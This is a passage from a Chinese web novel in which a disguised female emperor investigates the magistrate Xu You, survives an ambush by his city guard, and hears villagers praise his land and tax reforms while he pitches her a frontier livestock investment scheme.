不过现在可不是思考这些的时候,必须立刻离开,不然眼前的士卒一旦发现他们,必然会扣动手中手弩。 “撤!” 秦曦低吼一声,身形快速窜出。 蒙武也加快速度,挡在秦曦身前,手中佩刀挥舞,一切阻碍都被他斩断。 秦曦和李牧被他和两名墨麟军士卒护在中间,五人快速朝着广场外突围。 他们快,城卫军的动作更快! “那边!一队二队火力压制,三队四队从左翼包抄,五队六队从右翼迂回,其余人员跟随我押进!” “不留活口,杀!” 狰狞杀意冲天而起,哪怕是黑夜之中,恐怖的寒气不断席卷。 火光冲天,火把映照下,天空中传来嗡嗡声。 “陛下,小心!” 蒙武是大将军,体力和武艺都是万中无一,可如今的他,就如同一条丧家之犬。 弩箭自天空中落下,密密麻麻的箭雨,给众人带来的压迫感,远远不止于此。 两队二十四人,射击的动作从未停下,每一次呼吸,都有上百箭矢飞射而出。 跑了十多步,箭雨依旧,前面偶尔有火光闪烁,蒙武的心也沉了下去。 前有堵截,后有追兵,他小看了眼前的这些城卫军。 饶是他骁勇善战,却没想到会栽在这里。 “陛下,我们……被包围了!” 蒙武很不想承认,但从开始那些城卫军出声,就不是在提醒工匠,而是引诱他们上钩。 前方人头攒动,很显然有大量士卒在前方等着他们。 想到刚才那人的话,蒙武咬着牙,单膝跪倒地上。 “陛下,让臣护送你出去吧!” 秦曦脸色铁青,短短十几步路,让她见识到了城卫军的恐怖。 这群士卒每一个都身经百战,配上那恐怖杀器,哪怕是墨麟军在这些士卒面前,也只是待宰羔羊。 五年,只有五年时间,许攸是怎么做到的? 此刻的她,双拳紧握,嘴角缓缓勾起戏谑的笑容。 “朕自登基以来,第一次遇到如此窘迫境界!” “许攸,你真的让朕很好奇!” “玄影何在?” 漆黑的夜幕下,一道没有任何感情的声音,在周围诡异响起。 “奴一直在此!” “突围!” 秦曦眯起眼,环视四周,那无与伦比的帝王气场四溢。 这一刻,她才展现出自己真正的风采。 她是大唐的皇帝,身为帝王,怎么可能没一点手段! 破空声快速响起,玄影卫出现,一尊尊身影如同鬼魅,快速朝着城卫军席卷。 玄影卫犹如一把尖刀,拉开防御阵线,护送秦曦等人离开。 看着人群离开,城卫军中走出一道人影。 若是秦曦看到,一定会大惊出声。 “许攸!” 第三十六章 掉脑袋的大买卖 一炷香时间过去,秦曦满脸阴沉,她已经换上女装。 素雅长裙包裹在她身上,将那妖娆身材尽显,她的脸却没半点喜悦。 玄影卫是她的王牌,也是她保命符,只有三百人。 如今却在青尧县折了三十人,这些人全部都是被手弩射穿身体,被瞬间射成马蜂窝,连活命希望都没。 “嘭!” 她的拳头狠狠砸在桌上,桌上茶盏跳动。 “许攸,朕要你死!” 无法抑制的怒火,在她心头不断萦绕,三十名玄影卫,全都是因为许攸而亡。 “李相,许攸若是称帝,还缺什么?” “钱,他有!” “粮,他也有!” “如今连兵甲武器,他也有!” “我大唐威震四方的墨麟军,在他城卫军面前,连喘息都没资格,他还缺什么?” 秦曦的脸赤红,一双凤眸死死盯着李牧和蒙武。 这两人一文一武,是朝堂上权利的巅峰,然而今日和她一样,差点身死在城卫军的弩箭下。 “蒙将军,若是你亲自统兵,可有战胜许攸的把握?” 蒙武的脸色煞白,他的左手虎口还在往外渗血,这是先前用力过度,虎口被崩裂的后果。 若是在之前,他敢立下军令状,不平青尧,世不回朝! 但现在,十万大军也不一定能破城。 况且他也不知道,城卫军到底有多少人,还有那神秘的火器营,到底是何等存在。 以一城之力,独断西北,震慑西北诸部。 此等强敌,绝对不是他可以轻易战胜! “陛下,此事……恐有蹊跷!” 蒙武没办法,见识到青尧县的强大,他脑海内已经心生恐惧。 昔日的大将军,今夜居然彻底胆寒。 秦曦冷冷的瞥了他一眼,眼底冷漠都快化作实质。 “好一个大将军,知情不报,贪图百姓功绩,此事朕要彻查!” 扑通! 蒙武跪倒在地,不敢有任何言语。 “陛下,你若信我,且听我一言。” 李牧深吸一口气,来到秦曦身边,缓缓开口劝说。 这个时候,也只有他能说服秦曦。 “舅舅,你何必如此?” 秦曦强压怒火,若不是眼前的人是她亲舅舅,是三朝元老,她定然要下令,一同废除。 可就是因为这一层层关系,她不得不压抑怒火。 李牧摇头苦笑,他已经觉察到不对劲。 “陛下,若是许攸有谋反之心,敢问陛下他挥师南下,簇拥康王为帝,成事有多大可能?” 秦曦很不想承认,目前能勉强抵挡城卫军的,只有她的底牌,玄影卫。 玄影卫只有三百人,城卫军可不会少于一万。如此精锐,哪怕只有万人,也能横扫天下。 当年大唐高祖横扫天下时,也不过只有三千墨麟军。青尧县如此兵力,只要簇拥康王,就能扯大旗,立刻起兵南下。 秦曦满腔怒火被一盆凉水浇下,整个人不自觉的打了个寒噤。 “如今青尧县百姓富足,还有余力研究兵甲火器等利器,他为何要上书请死?” “不知道陛下可记得,他上书的罪名?” 秦曦再次心头颤动,她想起那道奏疏。 奏疏上程词不像是嘲讽,而是真心想请死。 也正因为如此,她才不远千里,来到青尧县,想看看许攸是否真的谋反,是否真的通敌叛国。 “十万!佣兵十万!” “青尧县有多少人?” 秦曦扶起桌上的茶盏,自顾自倒了一杯茶,口中喃喃自语。 “玄影,你等立刻去元族,挑选一批死士,秘密进城作乱,三日内必须死在城中!” “喏!” …… 一夜无话,第二天一大早,秦曦起床看向身边的小公主,经过一夜休息,小公主气血恢复七八,气色也好了很多。 阳光映照在她脸上,多了几许暖意。 “秦掌柜,实在不好意思,许某昨日公务缠身,还请几位见谅!” 秦曦等人起身下楼,正准备楼下的早餐店吃早餐,就听到门外传来许攸的声音。 许攸满脸笑容,一边说着话,一边将手中礼盒送上,全然没有那通敌叛国,打算自立为王的枭雄模样。 “虚伪!” 秦曦暗道一声,面上却挤出了笑容。 “许大人公务繁忙,小女不过是商贾,怎敢叨扰您?” “过誉了,我就是个七品小官,承蒙陛下隆恩。” 花花轿子万人抬,许攸恭维的说了句,随后凑到桌边,浑然不把自己当外人。 “秦掌柜,昨日可在青尧县内游玩,不知道你等考察的如何,可有满意的项目?” 秦曦闻言,凤眸皱起,那精致的容颜更是诱人,微微发红的脸颊,犹如水蜜桃。 红唇抿着,勾起个弧度,她若有若无一瞥,淡淡的道。 “确实转了不少地方,许大人功高盖世,小女子拜服!” “不过我来自何地,你应该清楚,这些小东西,可不入我的眼。” “下次就不要让曹公子试探我,不然被打断手脚,可怨不得我。” “许弟弟,你说是不是?” 秦曦左手提着茶杯,狭长眸子抖动,那玩味的笑容,不断浮现。 许攸闻言有点震惊,昨日他就安排曹云飞试探,没想到眼前的女子如此聪明。 不过这也刚好,要是没点实力,他还不稀罕和对方合作。 “秦姐姐可不要取消我,小弟就是个小官,可不是什么大人物。” “不过我确实有一桩大买卖,就是不知道你感不感兴趣。” “这买卖可是要掉脑袋的!” 打蛇随棍上,秦曦自称姐姐,许攸也厚着脸凑上去。 这话题一出,李牧和秦曦暗暗对视一眼,两人都觉察到许攸今天过来,目的肯定不一般。 见识了青尧县的繁华,秦曦已经不是当初那莽撞冲动的模样,她也好奇,许攸今日会给她带来多少惊喜。 “掉脑袋的事情,你许大人能做,那我也可以。” “不过许弟弟,你确定你的买卖真的能打动姐姐,姐姐可不是那随便的人?” 许攸嘴角哆嗦,他发现这女人不一般,手段和心机,都非他以前见到的那些女子。 不过这样才附和他的口味,不然一直死板模样,多无趣? “那刚好,今日我要出城,不如我们出城看看?” 出城? 秦曦眼眸深处闪过诧异,昨夜她刚让墨麟军退去百里外,难道是眼前的许攸,发现了她真实身份,打算谋反? 第三十七章 女帝再次震惊 秦曦没有半点犹豫,点头答应了许攸的邀请。 一行人走出早餐店,搭乘上牛车,晃晃悠悠朝着城外走去。 清晨的阳光洒落,金色阳光在几人身上,散发出阵阵光晕。 秦曦上下打量,她发现自己愈发看不透眼前的青年。 沿途各种“许大人好”,“许大人贵安”的话语不断,连带她都被人问好。 这可不是强制的要求,而是百姓自愿问好,每当有百姓问好,许攸都能叫出对方名字,偶尔还会打趣几句。 如此官民和谐气氛,让秦曦很羡慕。 出了城门,官道两侧依旧是绿树阴阴,不像是刚来他们所想象的那种凄凉荒芜。 若是将青尧县的情况送回京城,怕是朝堂上无人会相信,在西北要塞,一座宏伟关城,正在默默抵御西北外族。 风卷而来,没有风沙混杂,只有淡淡的芳草清香。 远处草场连天,芳草萋萋,水光映照着阳光,须须清风扫过,让秦曦心头的烦躁也逐渐消失。 她立志做开创盛世的明主,如今反倒是成了笑话。西北连连干旱,百姓食不饱腹,往常只有朝廷接济才能度日,何曾有如此富饶景象。 如今看着眼前的景象,她脑海只有一个词。 世外桃源! “秦姐姐,你看这些如何?” 许攸指引车夫停下,当先从车上跃下,眼前的草场可是他最大的依仗。 “此地乃是我花费五年时间,才打造出来的!” “看到那片土地没有,那叫杂交稻,利用占城稻和水稻杂交,尝试了五年,才第一次播种。” “这里是我们青尧县未来,只要十年,整个大唐都不会缺粮!” 许攸犹如一位将军,得意的冲秦曦炫耀。 他不怕被人盗走,稻种历经五年迭代,已经分发到青尧县每一户居民。 如今负责耕种的,也都是蛮族和回纥等外族。 “这片是草场,蛮族每到秋日,就会把牛羊送来,我们在这里豢养,保证青尧县日常肉食开销。” “你看看这里,可否满意?” 许攸可不打算只有这点地,想要拿地,只有商贾世族最为方便,而他也不确定,女帝到底什么时候会下旨。 功德积攒的越多,他所能得到的好处越多,届时白日飞升,人前显圣,也不是不可能! 人活一世,不是为了钱财女人,就是为了名利。 许攸是个普通人,前世他普普通通,这一世能有机会成仙成神,他的野心也逐渐扩散。 秦曦满脸懵逼,她微服私访用过不少身份,也用过商贾,但做生意这种事,她真的不是很精通。 “咳咳,许大人!” “不知道你说的,可是指购买牛羊?或者粮食?” “这虽然赚钱,可青尧距离长安城千余里,到其他地方也不近,没有水路的情况下,运送粮草代价巨大,有些得不偿失!” 李牧不愧是人精,从只言片语中,就推断出许攸的计划。 许攸眉梢上挑,嘴角也勾起淡淡笑意。 “几位,我也不瞒着你,如今我们青尧县看似繁华,实则钱库空虚。” “我以三座金矿为注,推行兑契,然也只是杯水车薪,想要赚钱,必须有人助我!” “外族为何强大,几位可知晓?” 秦曦皱起眉,她对蛮族等了如指掌,对方从小吃牛羊肉,喝的羊奶牛乳,自小体格就强大无比。 大唐百姓想要抵挡,就必须加大肉食摄入,但这样也代价极大。 “胡族和蛮族号称马背上的勇士,他们自小吃牛羊,十岁便有百斤力气。” “许弟弟,你可是要弄些牛羊?若是这些,姐姐倒是能帮你!” 许攸摇头,反而指着空荡荡的牧场。 “秦姐姐你可知道,这牧场为何到冬天才有蛮族送牛羊?” 秦曦依旧摇头,看青尧县日常,似乎也不缺肉,冬日运送牛羊,这是再正常不过的事情。 她是大唐的掌舵者,而不是最底层的百姓,她要做的是执掌方向。 如此细枝末节,她并不清楚,也不可能去过问。 许攸深吸一口气,或许是功德加深,他身上的气场丝毫不输秦曦。 “我这几年,一直推行个方法!” “此法名为羊吃人!” “打,是打不过胡族蛮族,他们就是草原上的小强,不能断其根源,就永远铲除不掉!” 对于这点,秦曦深以为然,这才几年时间,胡族蛮族再次壮大,对大唐又有来了威胁。 当然,这其中有许攸半数的功劳。 每每想到这点,秦曦恨不得拿起刀子,将许攸脑袋撬开,看看他这脑子里面在想什么。 “许弟弟,胡族蛮族壮大,你可有一半功劳。” “若是天子察觉,你就不怕死吗?” 许攸得意的仰起头,怕死?他巴不得现在就死,可惜那狗皇帝,至今都不降旨。 “秦姐姐你可别说这件事,一说我就气,那狗皇帝真当自己是皇帝了,也不看看治下什么鬼样子。” “看看我青尧县,再看看长安,你是世家千金,你难道还不懂?” “怎么样?加入我的计划,我给你三成干股,以后什么胡族蛮族,那都是我们的血包!” 秦曦眯起眼,果然许攸图谋不小,若不是昨夜和李牧彻夜长谈,今日她听到这番话,必然会动手,就在此地斩杀了许攸。 “仔细说说?” “其实方法也简单,就是收羊收牛!” 许攸将他推行的合作法道出,所用的方法也简单。 第一年只要一千头头牛羊,第二年则是翻倍,第三年在这个基础上再翻倍,直到第五年为止。 任何一方取消合作,就是违约,其他部落都有权利直接占领! 作为甲方,许攸没有半点担忧,青尧县的财政哪怕到第五年,也能拿得出钱收购。 十八个外族可就不一样,养牛羊需要草场,草场每次被吃干净,需要三年恢复。 单一的胡族或者蛮族,养几万头牛羊不成问题,可十八个部族一起养,那就不一样。 他推行这套合作案已经三年,今年是第四年,按照合约就是将近一万头的牛羊。 “十八万头牛羊,胡族和蛮族不怕,其他的部族可不一样!” “卖不出羊,就用地和人抵债。” “你说这买卖,值不值?” 轰隆! 秦曦和李牧双目交织,两人都呆立当场,再也无法掩饰心中惊骇。 大唐居然在吞并外族,不用一兵一卒,正在扩大疆域! 两人想到个可能,目光变得愈发火热。 “此地是何族的?” 第三十八章 吃醋的女帝 “大唐的!” 许攸声音掷地有声,但他的脸上,却带着促狭。 “两位,这可是荆州境内,你们想什么呢?” 听到这话,秦曦和李牧等人才回过神,但眼前的震撼,还是不断冲击几人的认知。 以钱买地这是什么概念? 这代表从今以后,大唐开疆扩土,将不再是难事,只要有钱就行。 身为帝王,秦曦想要做万世明主,想要当千古一帝,而不是有个骂名的女帝。 此刻她的呼吸开始不受控制的急速,耳畔心跳如同擂鼓。 她死死盯着许攸,那眼神似乎要把他看穿。 许攸则是对此视而不见,他又不是第一次和商人打交道,合纵连横的手段,早就是随手捻来。 “秦姐姐,看在我们这么熟悉的份上,只要你投资这么个数,以后所得三成归你,如何?” “我可以用青尧县县令的身份做保,三年内你所投资的钱,至少可以翻三番。” “五年内,这青尧县外,就有你们秦氏的一片地,以后你们就是不想和那昏君同朝,也能来此地逍遥快活,岂不是美哉?” 他的声音不算响,可却如同惊雷,砸在秦曦的耳畔。 三年翻三番,五年有一块地! 秦曦可不认为,许攸竖起的三根手指,只有区区三十万。 三百万两白银! 大唐税赋才五百万,这还包括各部开支,官员月俸,以及皇室内堂的开支等。 三百万,秦曦属实拿不出来。 可面对许攸那官职作保,她又觉得说不出来的怪异。 稳赚不赔的买卖,她登基许久,第一次听说,但也足以见得,许攸是有多狂! 秦曦心中燃起一团火焰,她对开疆扩土充满了渴望。 眼前不在是绿油油的草场,而是她这位大唐女帝以后的丰功碑! 夺走这一切! 恶魔般的声音,在她耳畔不断回响。 秦曦抑制不住心中冲动,她有墨麟军,还有十万大军,未尝不可一试! 若是她有了这些,那…… 倏地,一抹冷汗自她后背升起,那双微微发红的眼睛,也陡然变得清明。 论奸诈狡猾,她不及许攸。 许攸敢私自造兵甲,屯兵筑城,就没有任何的后顾之忧。 此人一旦振臂高呼,以康王令天下,大唐顷刻间便会化为对方手里的果实。 什么开疆扩土,什么镇守一方,不过是谎言! “秦姐姐?” 许攸那叫个郁闷,他都说成了这样,对方还没反应,难道是他给的诱惑力不够? 这可是开疆扩土,对任何商人而言,名利才是最重要的,难不成关内的商人进化了? 想到此,他神神秘秘看了眼四周,小声补充道。 “秦姐姐,我知道你可能不喜欢俗物,外族的女人也是不错的。” “你要是不喜欢女人,男人也不是不可以,那些小伙体格健硕,都是上的厅堂,下得了床……” 他话还没说完,就被一阵干咳声给打断。 李牧老脸漆黑如锅底。 编排女帝,还是当着女帝的面,这天下也只有许攸敢。 “许大人,不是我等犹豫,而是这三百万两……实在太多!” “我秦氏有行商三千,每日所得也不过千两,三百万可是个不小数目,我等自然要掂量一二。” 李牧故作叹息,实则满脸精明,那意思很明显,钱是有的,但这投资收益,他不满意。 许攸松了一口气,浑然没把秦曦那吃人的目光放在心上。 眼前这“秦姐姐”走南闯北,说不定男宠都得从长安城排到江南,那轮得到他。 可惜他那颗躁动的心,还没开始躁动,就彻底死了。 现在他就是个求而不得的小处男,第一次见到女神,结果女神从兜里掏出张优惠券,还说一条龙九折。 “那不妨我带着各位,我们四下走走看看?也领略下我青尧县,这粮仓的魅力如何?” 许攸有点不得劲,他确实动心了,可惜人家是大世族,这就和前世那些千金大小姐一样。 他有资格的时候,他看不上眼,他没资格的时候,别人看不上他。 秦曦却觉得奇怪,刚刚许攸还是满脸奸诈,怎么一会功夫,人就蔫吧,连说话的力气都没了。 不过她也没多问,逢场作戏而已,她唤许攸一声弟弟,那都是给对方面子。 “许大人,请吧!” 许攸带头往前走,青尧县周边原来也是贫地,但不是盐碱地,外加上草原气候好,用来耕种是最好不过的选择。 走了没多远,几人便来到一排农舍前。 农舍排列整齐,门前有篱笆修筑的围墙。透过篱笆可以看到,里面花红柳绿,一排排架子上,还晾晒着各种肉食。 一间农舍内正在忙着洗衣的妇人,突然感应到什么,抬头看向篱笆外。 “哎哟,许大人你怎么来了?” “大丫小丫,你们快过来,许大人来了,都快点把茶水端出来。” 这声就仿佛号角吹动,农舍内瞬间炸开锅,一家家都推开门。 “许大人吃了吗?我家刚做好的馒头,你要不吃两个?” “许大人贵安。” 这些百姓都有一个特点,那就是不怕官,甚至还有几个七十左右的嬷嬷,从房屋内走出,强行给许攸塞了两鸡蛋。 秦曦脚步顿住,她再次被眼前的景象给惊呆。 她这些年微服私访,也见过百姓,也看到过百姓疾苦。 每次她去到一个地方,那些百姓脸上虽然有笑,但不是这么真诚,也没有如此的亲切。 那是忌惮,忌惮她的威严,忌惮官府的存在。 而眼前的许攸,就仿佛是这些百姓的亲人,没有半点的隔阂,被人拉着就拉着,说吃馒头就吃馒头。 天下百官,包括她在内。 扪心自问,她不敢! 不过是眨眼间,许攸嘴里塞得鼓鼓囊囊,怀里还多了个篮子,里面多是些果脯、肉干,还有一条红肚兜。 “谁的!这谁的,害不害臊,谁家姑娘秀帕,怎么还热的?” “咳咳,本老爷是带着长安城客商来视察,不要搞这些花里胡哨,还有没有送秀帕的?” 许攸很不要脸,直接当着秦曦的面,把秀帕塞进兜里。 秦曦眉头狂跳,隐约有一股怒气,直冲天灵盖。 “许弟弟,姐姐可是在这里,你收人姑娘的秀帕,这是何意?” “莫不成姐姐的蒲柳之姿,还不入你法眼?” 第三十九章 皇帝老儿应该让位 酸! 太酸了! 许攸浑身一颤,一股危机感直冲脑门。 他和往日那样,就忙着混插打科,完全忘记身后还跟着秦曦这位千金大小姐。 虽然是逢场作戏,但好歹当着人家的面,这番举动确实不合适。 所以,他把秀帕拿出来,旁若无人的塞进秦曦手里。 “秦姐姐你这话说的,咱们都是一家人,我的就是我的,你的也是我的。” “来来来,拿去擦嘴。” 秦曦银牙都要咬碎了。 她何曾见过如此无耻之人,当着她的面,将旁人送的秀帕收进口袋,现在又送给她。 女子送秀帕,多是表明爱意,谁想到许攸如此的无耻。 反倒是那些农户,并没有多少反感,反而嘻嘻哈哈,跟在许攸身边笑个不停。 “许大人,这位娘子和你可般配的很,难不成你对她有意思?” 听到这话,不仅许攸愣住,秦曦和李牧也愣住。 秦曦和李牧都是诧异许攸的表情,适才他们看到许攸在百姓面前,那自然不羁的一面,却没想到他居然会脸红。 李牧眼底变得玩味,看向许攸的表情也逐渐变得不对劲。 反观秦曦俏脸一寒,捏着秀帕的玉手,都因为用力过度,小手煞白。 “许大人,你当真让我好奇,能和百姓打成一片的不少见,但能让百姓如此作态,你是如何做到的?” 秦曦捏着秀帕,口中寒气四溢,那双凤眸之中的神光,一直锁定在许攸身上。 不用许攸开口,周遭农户闻言,***答。 “小娘子有礼了,咱们许大人可是咱们的恩人。” “我们这些泥腿子,大字不识几个,早些年差点饿死,或者被那些鞑子给抢去当两脚羊。” “是许大人教我们耕种,给我们稻种,还给我们安家之所。” “谁家有病,他会亲自带着郎中过来,谁家娶亲出丧,他也会过来讨一杯酒,或者亲自扶灵。” “他说,他是我们的孩子。” “小娘子,你说我们如何能不喜爱他?” 一番话说的情深意切,没有半点的作假。 秦曦脸上寒意消散,捏着秀帕的手不知道是放下,还是继续捏着。 “那你认为许大人,是个好官,还是个贪官?” 李牧抿着嘴,轻笑一声。 “好官!” 毋庸置疑,在这些百姓眼底,许攸就是天下最好的官。 “要俺门说,皇帝老儿真应该把位置让出来,许大人才是为国为民,那皇帝老儿就是个糊涂鬼。” 轰隆! 一句抱怨的话语,犹如惊雷,狠狠砸在秦曦的心口, 她的瞳孔骤然缩紧,一股冰冷的杀意凝聚在周身,隐约有发作趋势。 就在她快要压不住心中怒意,身侧的李牧,却微微一笑。 “那你可知道,你这话若是传到长安城,那可是大不敬之罪,是要掉脑袋的!” 寻常百姓听到这话,肯定会吓的屁滚尿流,而那说话的农户,则是满脸不屑。 “俺们不是说皇帝老儿不好,他平了江山,是有功!可惜他天天坐在长安城,他哪知道我们这些普通人的遭遇。” “早些年青尧县四周都是盗匪,三十六山七十二洞,马匪强人数万,是许大人带着荆州士卒挨个清缴。” “长安城那些贵老爷,只知道打仗,不知道养地,等打了胜仗,他们倒是走了,只留下我们饿死的饿死,病死的病死。” “这位老丈,你说我们如何不恨?” 周遭农户也跟着发泄,早些年的遭遇,成了他们此生的阴霾,每每想起,都会觉得那些贵族老爷,都是吸血蚂蟥。 秦曦深吸一口气,此事是朝廷疏忽,她难则其咎,可这些百姓也不应该如此无视帝王威严。 倘若是真的这样下去,不出五年时间,荆州乃至整个西北,都会被这股风气带坏。 朝廷没了威严,如何治理治下百姓? 好在昨夜李牧的话,还在她耳畔回荡,这才没让她直接发怒。 她是帝王,帝王能忍常人不能忍,只有洞悉许攸一切,方能彻底掌控,而不是让这个祸害,继续留存下去! 秦曦捏紧手指,纤细手指抵着掌心,指甲已然刺破肌肤。 她在努力压制心中的怒火,不去动那杀心。 过了几息,她再次深吸一口气,周遭还是原来那样,但她可以清晰听到,自己几乎失控的心跳。 “朝廷的事情,自有朝廷论处,我等都是凡人,还是不要失言的好!” “天子威震四方,若是给人传去长安城,或许会给许大人添麻烦,日后诸位还是谨言慎行的好!” 那些农户也知道自己说的太多,寻常在田地里抱怨两句,那也就算了,可如今他们居然在外乡人面前说。 “嘿嘿,我等都是下等人,不识那大字,几位还请不要乱传,就当是我等闲聊。” “不过要说起来,咱们许大人可真的是好官。” 秦曦依旧面带笑容,只是那双眼睛内,却不再笑,冰冷的寒意几乎要透过眼眸射出。 “敢问这位老伯,这个好官是如何说道?” “这要说起来,那可就真的远了!” 被她点名的老伯走出,粗犷的脸上,看不到任何苦涩,反而满脸都是笑容。 “咱们许大人好,可不是眼前,你可知道我们每家每户多少田地?” 秦曦摇头,她确实不知道,如此良田,按照朝廷分派,也只会赏给有功的大臣,或者赐给世家贵族及王孙。 普通人想要得到,那是不可能的! “每户五亩,并且没有任何的税赋,用许大人的话来说,我们种地就得老老实实种,种多余的粮食就去卖,卖的钱用来改善生活。” “他还给我们打造农具,教我们施肥,如何开垦,给我们粮种,这些全都不要钱,也没任何的税赋。” “俺们这些地里刨食的,除了种地什么都不会,许大人这么说,我们就这么做,如今逢年过节,我们也能去城里玩玩。” 看这些百姓脸上纯真的笑容,秦曦第一次深深感到自责。 她不曾做到的事情,许攸做到了,做的比她更好! 也难怪百姓会说,让她让位给许攸! 想到此时,她的柳眉再次竖起,她依旧不相信,青尧县这样会坚持下去。 第四十章 活阎王美名 “老伯,你们就没任何的杂税?” 税是根本,没有税,国家就无法运行,各种民生就无法继续保障。 秦曦不相信,以许攸奸诈贪婪,不可能不收税。 果不其然,她说完后,另外一名农户仰起头嘟囔。 “咋就没有税,咱们早就和里正说了,让他去城里建议,可惜里正不听,许大人也不停。” 秦曦眼睛放亮,果然和她想的一样,这番税不过是避开了名目,故意将名头更换,以此来愚弄这些百姓,收割民心罢了。 见此,她内心的杀意虽然还在,但不是冲着这些无知百姓,而是始作俑者许攸! “那不知道这税如何收?” 那说话的农户,再次嘟囔。 “也不知道许大人的脑壳,是不是被门挤了,我们种地不收税,反倒是卖粮食要交税。” “按照我们所得,个人月收入超过十两就要按照税法缴纳税赋。” 秦曦脑袋有点懵,她若是没记错,大唐似乎没有这种收税的方式。 收入超过十两,普通人根本没机会,而青尧县虽然大部分人都超过,但对普通农户而言,也不可能达到。 李牧倒是低头算了下,他昏黄的眼睛扫过周遭田地,心中暗暗吃惊。 “小姐,这税可不一般!” “个人超过十两,若是一家四个人劳作,分摊下来就是四十两,寻常时候达不到,但农忙可是轻易就能凑够。” “按照大唐的税法,商税十税三,那可不是三成,而是六成啊!” 什么?! 秦曦脑袋一片空白,李牧这番话就在她耳畔,其他人根本听不到。 十两银子交六成,这比朝廷的税赋还要重,难怪这些百姓满脸不乐意! 国贼,赤裸裸的国贼! 搜刮的是民脂民膏,吸的是百姓的血! 可不等两人开口,那农户又开口道。 “许大人规定,十两银子收五百文税,十两起征,多劳多交,少的免税。田地虽然归青尧县,但我们有使用权。” “咱们这些年,变着法想要多交,可惜粮食卖不上价,寻常时候也最多一人缴个五百文,你说这不是胡闹吗?” “不仅如此,许大人还免费设立学堂,不收我们这些农户的钱,他还给我们办了个籍贯,叫什么青尧县农业户口。” “只要拿着这凭证,我们买东西还有优惠,去看病也是,只要是青尧县的产业,都有九折的优惠。” 农户越说越激动,恨不得现在把家里银子全部翻出来,塞进许攸的口袋。 “胡闹!这就是在胡闹!” “咱们这么多娃,白白占用如此多好处,我们岂能不怨?” 秦曦胸口起伏不断,要是之前农户的话用大逆不道来形容,此刻只能用骇人听闻来描述。 到了现在,她才明白,许攸到底有多恐怖,也难怪昨夜李牧再三叮嘱。 更改税法,还地百姓。 百姓有了田地,有了保障,种地可以卖粮,无论收多少粮,都是他们自己的。 设立户籍区别,让百姓有了自己的身份,不但可以减轻普通百姓的负担,还能增添贵族的荣誉感。 更可怕的是,地就这么回到了百姓手里! 名义上,田地依旧属于青尧县,可实际上真正使用的,是百姓! 任何王朝都逃不过宿命轮回,三百年就是个轮回,发展到最后,底层百姓和上层富户之间的矛盾会越来越大。 百姓不满利益被剥削,富户不满权利和利益减少,互相争斗之下,必然会导致朝代更替。 并且这些世族富户,可不会给朝廷出力,他们有的是手段避开税收。 大唐建国这么多年,税赋每年都差不多,以大唐的面积和人口,正常税赋应该都在千万左右。 秦曦想做万世明主,想当千古一帝,无非就是想解决这样的问题。 可她万万没想到,有人提前完成了! 小小的青尧县,居然设立户籍区分,改革税制,并且将土地问题近乎完美解决。 若是将这种方法推行,大唐必然迎来鼎盛。 可这方法真的能推行吗? 秦曦想到世家贵族,想到了王室,想到了商贾和那些文人,一股刺骨的寒意,将她彻底包裹。 一旦她动手,大唐将不再是大唐! 她内心很不甘心,却又无奈,大唐不是她的,她只是掌舵人,杀不能解决所有问题。 阻碍了世家贵族发展,她明日就会成为落入河中淹死的水鬼。 “老伯,你说的我从未听闻,那些乡绅贵族难道不争,他们难道就这么任人鱼肉?” 周围农户听到这话,都嘿嘿笑起来。 秦曦被这笑声弄得心里发毛。 “许大人,你为何也发笑?” 许攸摸了摸下巴,这话他怎么好意思接呢? “小娘子你有所不知,咱们许大人还有个美名。” “美名?” “对,美名!人称“活阎王”!” 秦曦等人眼睛瞪大,看许攸也不过是二十四五左右,浑身上下文质彬彬,没有丝毫的铁血气息。 就这样的存在,怎么可能被称为活阎王? 李牧最先反应过来,双眼死死盯着周遭农户,他脑海内浮现出个大胆的推测。 “老丈,难道那些乡绅贵族,全都……都被杀了?” 说出这话,他自己都有点不敢置信。 李牧自家就是贵族,他也是嫡出,若没有他的资助,大唐成不了事。 他的妹妹,可是曾经的皇后! 杀平民,或许可以三两句话糊弄,但杀贵族,就是和天下贵族为敌。 许攸就算有八百个胆子,也不敢这么做! “杀?咱们的刀,可不杀大唐之人!” “你们可不知道,咱们青尧县到了冬日就冷,为此许大人特意寻了几个煤山。” “那些愿意上缴的,都落了个贵族户籍,可以享受煤矿分红,而不愿意上缴的,都被抄了家,送去挖煤。” “当初那些强人也是如此,一个个挖煤修路,干得可叫个起劲!” 离谱! 李牧老脸皱在一起,许攸是他见识最狂的官员。 抄贵族乡绅的家,与贵族为敌,这些无一不骇人听闻! 转瞬他又露出骇然目光,死死盯着许攸那张略显青涩的脸。 “许大人,好手段!” 如此大作为,只有一个底牌,那就是兵权! 李牧想得到,秦曦也想得到,两人都不寒而栗,同时想到奏疏上的那一行罪证。 “臣私募士卒十万!” 第四十一章 断案也能下注 夕阳余晖洒落,秦曦内心还在起伏。 “许弟弟,今日所见所闻,可真的让姐姐大开眼界!” 回城的路上,几人依旧坐着牛车,四周还是没有遮挡,但对秦曦而言,这已经不重要。 青尧县藏兵十万,改税赋,分田地,杀乡绅,无论哪一个都足够让许攸死八百次。 有了罪证,秦曦反倒是不着急弄死许攸。 她要看看眼前的国贼,还能给她带来多少“惊喜”! “秦姐姐,那些农户的话当不得真,今日你也看过,就是这投资的事情,你觉得如何?” 闻言,秦曦眯起眼,做出沉思的姿态。 要说赚钱,秦曦很相信,许攸不会骗她,这三百万两投入,三年就能得到一千万。 可问题是,她没钱! 此次来,加上中彩票的钱,总共才三十万两不到,距离三百万,还差了个零。 她也问过李牧,国库加她个人的小金库加起来,勉强能凑足这笔钱。 可问题是,接下来还有几个月才有税赋,总不能皇城上下不吃饭,百官勒着裤腰带。 “许弟弟不是姐姐并不愿意投资,三百万属实有些太多,不如这样如何?” “我先分批给你,此次交给你十万两,我也不要几倍,你若是三月之内能赚,那我就继续投资,若是不能,这笔钱就当交个朋友,如何?” 秦曦拿出商人那套精明的模样,她这话没任何问题,毕竟三百万两放在任何家族都是天文数字。 她要是随随便便取出,即便是许攸不想怀疑,都要怀疑对方的身份。 十万两不算多,对青尧县而言,不算多少,对秦曦而言,也没多少。 许攸皱起眉,青尧县如今缺口巨大,所需要的钱超过千万。 他不敢放开口子招商,但面对如此大口子,他也不得不想办法捞钱。 “十万太少,五十万如何?” “三个月内,我保证你翻倍!若是没有翻倍,我个人给你补齐!” 五十万两! 秦曦看向李牧,后者不动声色的点点头。 国库中还有空余,五十万两不会伤筋动骨,真的要是能翻倍,明年开春后,能给百姓谋不少福祉。 两人暗暗交流了一番,随后秦曦竖起两根手指,那双美眸也眯起。 “两个月,如何?” 许攸抬起头,认真的打量了眼秦曦。 